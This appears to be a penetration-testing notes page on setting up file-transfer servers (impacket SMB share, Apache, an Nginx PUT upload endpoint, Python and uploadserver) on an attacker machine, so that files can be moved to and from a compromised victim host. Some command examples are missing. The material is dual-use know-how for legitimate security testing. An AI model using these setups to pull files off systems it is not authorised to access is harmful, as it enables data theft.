# Setting up a server (in the attacking machine)
| Protocol / app |
|---|
| smb server |
| Apache server |
| ngix |
| symple python server |
| php web server |
| Ruby web server |
| Burp Suite Collaborator |
| Interactsh |
| responder |
| uploadserver |
| Webdav wsgodav server |
smb server
Launch smbserver in our attacker machine:
sudo python3 /usr/share/doc/python3-impacket/examples/smbserver.py -smb2support CompData /home/username/Documents/
Now, from PS in the victim's windows machine we could upload a folder to the shared folder in the attacker machine just by running:
Apache server
Once you have a folder structure such as "/var/www/" or "/var/www/html", and also an Apache server installed, you can serve all files from that path by initiating the service:
# Start Apache
service apache2 start
# Stop Apache
service apache2 stop
# Restart Apache
service apache2 restart
# See status of Apache server
service apache2 status
In Apache, the PHP module loves to execute anything ending in PHP. Also, by default, with Apache, if we hit a directory without an index file (index.html), it will list all the files.
Nginx
In Apache, the PHP module loves to execute anything ending in PHP. This is not very safe when allowing HTTP uploads, as we are trying to avoid that users cannot upload web shells and execute them.
Nginx server:
# Create a Directory to Handle Uploaded Files
sudo mkdir -p /var/www/uploads/SecretUploadDirectory
# Change the Owner to www-data
sudo chown -R www-data:www-data /var/www/uploads/SecretUploadDirectory
# Create Nginx Configuration File by creating the file /etc/nginx/sites-available/upload.conf with the contents:
server {
listen 9001;
location /SecretUploadDirectory/ {
root /var/www/uploads;
dav_methods PUT;
}
}
# Symlink our Site to the sites-enabled Directory
sudo ln -s /etc/nginx/sites-available/upload.conf /etc/nginx/sites-enabled/
# Start Nginx
sudo systemctl restart nginx.service
# If we get any error messages, check /var/log/nginx/error.log. we might see, for instance, port 80 is already in use.
Debuggin nginx:
First check: ensure the directory listing is not enabled by navigating to http://localhost/SecretUploadDirectory
Second check: Is default port in nginx already in use?
# Verifying Errors
tail -2 `/var/log/nginx/error.log`
# and we might check that port 80 could not be binded because is already in use
# See which service is using port 80
ss -lnpt | grep 80
# we will obtain the service and also the pid. For instance `2811`
# Check pid, for instance pid 2811, and see who is running it
ps -ef | grep "2811"
# Remove NginxDefault Configuration to get around this, we can remove the default Nginx configuration, which binds on port 80.
sudo rm /etc/nginx/sites-enabled/default
Finally you can copy to your nginx server all files you want to transfer with curl:
curl -T file.txt
# -T, --upload-file <file>; This transfers the specified local file to the remote URL. -T uses PUT http method
Simple python server
# Creating a Web Server with Python3
cd /tmp
python3 -m http.server 8000
# Creating a Web Server with Python2.7
python2.7 -m SimpleHTTPServer
PHP web server
Ruby Web Server
uploadserver
More at uploadserver.
Python's http.server extended to include a file upload page. Accepts the same options as http.server, plus a couple extras.
After the server starts, the upload page is at /upload. For example, if the server is running at http://localhost:8000/ go to http://localhost:8000/upload .
Warning: This is an upload server, and running it will allow uploads.
Repo: https://github.com/Densaugeo/uploadserver
Installation:
Basic usage:
openssl
Create a certificate in the attacker's machine:
Launch the openssl server in the attacker's machine:
Next, with the server running, we need to download the file from the compromised machine. So, download the file from the victim's machine:
Last update: 2024-11-08 Created: July 15, 2023 17:03:48